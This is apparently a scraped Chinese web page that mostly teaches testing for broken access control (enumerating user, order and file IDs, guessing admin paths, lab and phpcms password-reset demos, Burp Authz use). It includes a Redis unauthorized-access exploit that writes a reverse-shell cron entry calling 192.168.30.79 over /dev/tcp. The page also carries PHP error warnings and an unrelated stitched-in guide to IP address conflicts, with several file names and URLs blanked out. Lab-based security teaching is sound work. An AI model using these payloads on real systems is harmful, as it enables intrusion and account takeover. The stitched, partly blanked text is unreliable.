Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
2.2 基于用戶ID的越權(quán)
舉個例子:
https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001
我們登陸某個系統(tǒng)后,看到某些功能上獲取信息的方式類似于上鏈接時,可以初步判斷獲取信息的方式為根據(jù)user_id來獲對應的用戶信息,如果參數(shù)為用戶名,我們可以收集用戶名字典來枚舉信息,根據(jù)返回值判斷是否存在問題。當然如果枚舉較大,系統(tǒng)用戶數(shù)量又不是很多的情況下,可以嘗試注冊新用戶,利用新用戶的用戶名來測試是否可以獲取到用戶信息。
如果參數(shù)為一個固定的數(shù)字串時,遍歷數(shù)字串即可,這種情況下是系統(tǒng)對每個注冊用戶進行了一個用戶id的排序,在眾多的開源CMS上都有使用,當然這個字符串也有可能是隨機,如果是隨機的,量不大的情況下可以采用遍歷的形式獲取,量較大可以利用burp的隨機數(shù)爆破,或者同樣自己注冊賬戶來測試。
2.3基于功能對象ID的越權(quán)
舉個例子:
https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab
此問題大量存在于用戶訂單、購買、查詢等功能的商家CMS上,例如以上地址,如果是訂單編號,那么我們可以嘗試遍歷訂單地址來查詢是否存在越權(quán)。如果編號并不是單純的訂單數(shù)字串,而是類似如上的編碼字符串,相信自己的運氣的話可以嘗試某些編碼的情況,例如BASE64、MD5。猜測不到,或者不能明顯的看出來是如何做的處理,注冊新賬號重新下單,會是簡單方便的選擇。
2.4基于上傳文件對象ID的越權(quán)
舉個例子:
https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
這種上傳文件后,可以越權(quán)查看其他用戶的上傳文件也是經(jīng)常發(fā)現(xiàn)類似的問題。假設,系統(tǒng)要求我們上傳個人的身份證,實名認證信息、購買的發(fā)票訂單等。如果上傳后看到類似如上地址,可以猜測此上傳文件可以遍歷獲取,通過查詢fileid來查看其他用戶的上傳信息。如果上傳后文件名如第二種,可能此文件是系統(tǒng)經(jīng)過重命名的,重命名的方式一般采用當前上傳的時間戳或者當前上傳的日期加隨機字段,這種情況下枚舉較為困難,但仍然可以采用注冊新用戶的方式來查看是否存在越權(quán)。順便一問,如果是獲取信息的方式,還可能會有什么問題呢?
2.5基于未授權(quán)訪問的越權(quán)
舉個例子:
https://www.xxx.com/user1/user.php?user=user1@user.com
在一些系統(tǒng)上登陸用戶后,可以看到類似如上的地址鏈接,可能你會覺得這個跟問題1類似,但是也有可能多一張問題情況,在非登陸的情況下仍然可以訪問到詳細信息。如果可以,則證明后端對身份的效驗只是基于參數(shù)user,并沒有效驗用戶的session是否已登陸。此問題曾發(fā)現(xiàn)于一個系統(tǒng)后端支付訂單復核的功能中,問題可想而知。
2.6基于功能地址的越權(quán)
舉個例子:
https://www.xxx.com/user/getuserinfo.php
如上地址,正常情況下,只訪問此后臺地址時,一般會跳轉(zhuǎn)到登陸地址,或者登陸后用來查看某個具體的功能,獲取數(shù)據(jù)的情況根據(jù)訪問的鏈接地址來,理論上此功能并不存在越權(quán)可能,因為沒有我們可以修改的參數(shù)。但是對權(quán)限及功能的限制可能只局限于用戶菜單的限制,根據(jù)常用鏈接,可以猜測是否存在以下地址:
/.php
/adduser.php
/deluser.php
/.php
/.php
/.php
......
因為在絕大部分系統(tǒng)中,開發(fā)為了方便區(qū)別功能和頁面,通常會利用對應的英文來命名文件,但這些文件并不是任意用戶都可以訪問到的,所以可以猜測訪問地址是否英文的拼接來猜測路徑。對于此問題的快捷測試是獲取一個高權(quán)限賬號,當然對于未授權(quán)測試來說,很難實現(xiàn)。
2.7基于接口身份的越權(quán)
舉個例子:
https://www.xxx.com/user/userinfo.php
post: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}
例如如上接口,修改用戶信息,當我們點擊某個系統(tǒng)的修改自身資料時,會發(fā)送一個類似的json數(shù)據(jù)包,其中userid對應我們自己的用戶id,修改后,可以修改對應id的用戶資料。修改方式類似問題1。區(qū)別在于一個頁面可見,一個頁面不直觀可見,一個查詢,一個修改。需要配合其他越權(quán)查詢漏洞,或者賬號來識別是否修改成功。
3. 漏洞靶場測試
漏洞環(huán)境:,webug4.0
靶場介紹:國產(chǎn)靶場,漏洞齊全,演示也相當完善。其中還分為初,中,高。雖然高好像沒東西,但仍然是一個不錯的靶場環(huán)境。
漏洞演示:演示為靶場的22號漏洞,越權(quán)修改密碼
靶場安裝:,本來也給了一個vm的安裝環(huán)境,但是那個百度云打不開了。就直接用文件自己安裝,也沒找到安裝教程,就摸索著如下安裝了。
把sql目錄中的文件安裝到數(shù)據(jù)庫,新建三個按照文件名的數(shù)據(jù)庫,導入數(shù)據(jù)文件,修改data目錄下的和dbconn文件,修改為自己的數(shù)據(jù)庫賬號密碼和數(shù)據(jù)庫名。修改完成后建議把網(wǎng)站目錄修改為webug的目錄下。直接訪問本地地址即可。
另外需要修改/control//.php文件下的一段代碼,不然跳轉(zhuǎn)到錯誤路徑:
header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}")
修改為:
header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")
點擊第一個越權(quán)修改密碼后進入如下頁面:
此處我打開了數(shù)據(jù)庫來對應查看修改密碼的情況,打開webug數(shù)據(jù)庫下的表,可以看到其中有兩個用戶如下:
此處利用aaaaa用戶修改admin用戶密碼,利用aaaaa賬戶登陸后,看到如下界面
此處,我們可以先正常走一遍邏輯來查看其中的數(shù)據(jù)包情況,把aaaaa的密碼修改為aaaaa,彈窗OK。然后查看抓取到的數(shù)據(jù)包。
其中有舊密碼和新密碼兩個參數(shù),理論上如果效驗了舊密碼和賬號的一致性,就算鏈接中的id可以修改越權(quán)也無法修改密碼,會提示舊密碼不正確,但此處并沒有效驗舊密碼和賬號的一致性,導致修改鏈接中的2為1,post參數(shù)不變,或者任意舊密碼值,便可以修改admin的密碼。
查看數(shù)據(jù)庫修改是否成功:
此處的問題存在兩點,一是修改的用戶身份由鏈接中的ID來決定,二是沒有對舊密碼和賬戶進行身份驗證。
4. 工具測試
對于越權(quán)類的安全問題,并沒有自動化測試工具來發(fā)現(xiàn)和識別,至少現(xiàn)在沒有發(fā)現(xiàn)哪里有完善的越權(quán)檢測工具和掃描器。
此處介紹一款burp的越權(quán)插件,輔助檢測越權(quán)漏洞,但是只能檢測基于功能的越權(quán),并不能自動的檢測需要修改參數(shù)來判斷越權(quán)形式的漏洞。
在burp的選項中選擇BApp Store選項卡,找到Authz插件,點擊install。安裝完成后選項卡中會出現(xiàn)一個Authz的新選項卡,界面如下:
此處需要兩個用戶身份,假設為A用戶和B用戶,登陸A用戶的賬號,獲取Cookie到new header中,使用B賬號抓包獲取信息。到proxy中選擇需要測試的功能地址,右鍵到Send to Authz。
獲取夠需要測試的功能后,到Authz界面點擊run即可運行,此處沒有設置cookie,那么將按照未授權(quán)訪問來測試。
其中,會在請求中替換我們輸入的cookie值,如圖顯示,源請求的字節(jié)長度,請求的字節(jié)長度,源請求的響應碼,請求的響應碼,通過對響應的差別來查看是否存在越權(quán)漏洞。
能達到此檢測目的的還有一款插件,也同樣可以檢測越權(quán),功能強勁,使用較Authz復雜,對于高要求,多用戶,需要對請求中的token等進行選擇替換的,可以使用此插件。
介紹地址:
5. CMS演示5.1前臺任意修改其他用戶信息
漏洞環(huán)境:,phpcms9.5.9
漏洞介紹:phpcms設計缺陷導致前臺用戶可以任意修改其他用戶密碼
漏洞下載:
解壓安裝到,訪問后需要安裝,按照安裝要求,填入賬號密碼。等待安裝完成,將自動跳轉(zhuǎn)到后臺管理頁面。登陸后臺需要先添加郵箱認證,如下添加的騰訊郵箱。具體騰訊授權(quán)碼獲取方式可以查看:
在用戶模塊中添加如下信息,新增兩個測試用戶,類似如下,需要其中一個可以接收郵件。
在站點首頁點擊登陸處,如果跳轉(zhuǎn)到404安裝頁面,可能是你沒有刪除install安裝目錄,刪除訪問index.php即可。選擇忘記密碼->用戶名找回密碼
點擊獲取郵箱校驗碼
返回上一步輸入想修改的用戶,如下test2
輸入之前的郵箱驗證碼提交
點擊后顯示密碼修改成功為以下:
嘗試使用新密碼登陸成功:
漏洞修復:此問題出現(xiàn)原因在于驗證碼沒有跟賬號做綁定,驗證時只做了驗證碼是否有效的判斷。對于此類問題,頻繁出現(xiàn)在手機號驗證碼,郵箱驗證碼處,在最后執(zhí)行修改時需要一同驗證,驗證碼和手機或者郵箱的對應關(guān)系。
5.2redis未授權(quán)訪問
漏洞環(huán)境:Ubuntu,reids 3.2.0
漏洞介紹:Redis因配置不當可以未授權(quán)訪問。攻擊者無需認證訪問到內(nèi)部數(shù)據(jù),可導致敏感信息泄露,也可以寫入文件來反彈shell
安裝如下:
wget
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件
vi?redis.conf
bind?127.0.0.1?加上#
protected-mode?yes??改為no
在配置文件目錄下啟動
./src/redis-server redis.conf
啟動后顯示如下:
通過reids命令可以查看基本信息
嘗試反彈shell到指定地址
set x "\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
或者采用gopher協(xié)議,直接利用curl一條命令執(zhí)行
6. 漏洞修復
1、驗證需要從前端獲取的參數(shù),比如用戶ID和角色權(quán)限名,對于需要根據(jù)前臺請求來返回數(shù)據(jù)的參數(shù)進行權(quán)限效驗。
2、對于固定返回信息可以使用特定鏈接地址返回,同時采用不可預測地址,如:.php
3、對于需要修改、新增等功能進行判斷,根據(jù)當前seesion判斷用戶,參數(shù)中只傳輸修改的用戶信息。
4、區(qū)分用戶和管理員時,不采用某些相同的參數(shù)來區(qū)別。如dede區(qū)分管理和用戶都是采用ID值,容易產(chǎn)生問題。
5、對于查詢類越權(quán)需要對每一次請求的參數(shù)做當前用戶身份校驗,避免水平越權(quán)。
ip地址與網(wǎng)絡上的其他系統(tǒng)有沖突怎么辦
ip地址與網(wǎng)絡上的其他系統(tǒng)有沖突怎么辦
ip地址與網(wǎng)絡上的其他系統(tǒng)有沖突解決方法如下:
方法一:IP地址與網(wǎng)絡上的其它系統(tǒng)有沖突,設置成為由DHCP自動獲取
出現(xiàn)您所描述的錯誤提示,應該是網(wǎng)卡所設置的IP地址與網(wǎng)絡上的另外一臺電腦,或者其他網(wǎng)絡設備的IP地址發(fā)生沖突,所謂沖突也就是使用了相同的地址,錯誤提示中的00:20:ED:9E:55:B6就是另外那臺電腦或者網(wǎng)絡設備的MAC地址。
如果您的電腦在一個局域網(wǎng)內(nèi),并且網(wǎng)卡IP地址是通過局域網(wǎng)的服務器自動分配的,在Windows 2000等操作系統(tǒng)上,可以單擊“開始”按鈕,選擇“附件”中的“命令提示符”,在命令行狀態(tài)下輸入“ /renew”,讓系統(tǒng)釋放當前的IP地址,重新獲得一個新的地址。在Windows 98中,則可以單擊“開始”按鈕,選擇“運行”,鍵入“”,并在出現(xiàn)的對話框上選擇釋放當前IP,然后重新獲取一個。若您的IP地址是設置為固定IP地址的,如果是您自己設置的,可以另外設置一個,如果是由管理員分配的,那么您需要聯(lián)系管理員,報告IP地址沖突的問題,要求更換IP地址或找出產(chǎn)生沖突的電腦進行修正。
如果您在單機情況下使用電腦,那么您需要檢查自己所使用的設備中哪一個設備是沖突的原因,例如ADSL調(diào)制解調(diào)器的IP地址是否與您的網(wǎng)卡IP地址相同等。
IP地址在每個網(wǎng)絡中只能是唯一的,如果重復了則發(fā)生IP沖突,就無法正常連入網(wǎng)絡了。你可以手動進行修改,步驟如下:
在或中:
單擊開始--設置--網(wǎng)絡和撥號連接,在出現(xiàn)的網(wǎng)絡和撥號連接窗口中右鍵單擊“本地連接”,在出現(xiàn)的快捷菜單里選擇“屬性”命令,出現(xiàn)“本地連接”屬性對話框,在“常規(guī)”選項卡中,中間的“此連接使且下列組件”列表框,選中“協(xié)議(TCP/IP)”單擊“屬性”按鈕,在出現(xiàn)的“協(xié)議(TCP/IP)屬性”對話框中選擇“常規(guī)”選項卡中的“使用下列IP地址”單選按鈕,然后就可以在下面的文本框中填寫需要的IP地址,子網(wǎng)埯碼及默認網(wǎng)關(guān)了。
這時,如果本來你用的就是手動設置IP地址的話,你就會看到這幾項中已經(jīng)填入了數(shù)據(jù),那么你就不用改那么多了,只要修改IP地址框中,最后一個點后面的數(shù)字就可以。但是,如果你以前用的是自動獲得IP地址的話,那么就需要向網(wǎng)絡管理員咨詢了,咨詢的內(nèi)容包括,IP地址的范圍,子網(wǎng)掩碼、默認網(wǎng)關(guān),DNS服務器的IP地址。
方法二:查看網(wǎng)絡連接-屬性
查看網(wǎng)絡連接-屬性-TCP/IP屬性-使用固定IP上網(wǎng),IP最好填你原來自動分配的IP地址,這樣不至于造成與別人的沖突。
方法三:從運行中設置
步驟1 如果您使用的計算機的操作系統(tǒng)是:windows 98
點擊左下角“開始”→“運行”,鍵入:,點擊“確定”,在彈出的窗口中,點擊“全部釋放”,然后點擊“全部更新”,即可解決問題。
如果系統(tǒng)提示無法更新,則需要重新啟動計算機。
步驟2 如果您使用的計算機的操作系統(tǒng)是:windows 2000 或windows XP
步驟3 點擊左下角“開始”→“運行”,鍵入: /release,點擊“確定”,在此點擊“開始”→“運行”,鍵入: /renew,點擊“確定”,即可解決問題。
方法四:這是ARP病毒的跡象。
ip地址與網(wǎng)絡上的其他系統(tǒng)有沖突怎么辦?ARP病毒病毒發(fā)作時候的特征為,中毒的機器會偽造某臺電腦的MAC地址,如該偽造地址為網(wǎng)關(guān)服務器的地址,那么對整個網(wǎng)絡均會造成影響,用戶表現(xiàn)為上網(wǎng)經(jīng)常瞬斷。
注意:如果遇到“本地連接受限制或無連接”導致無法上網(wǎng)小編已為大家提供了解決辦法
*請認真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。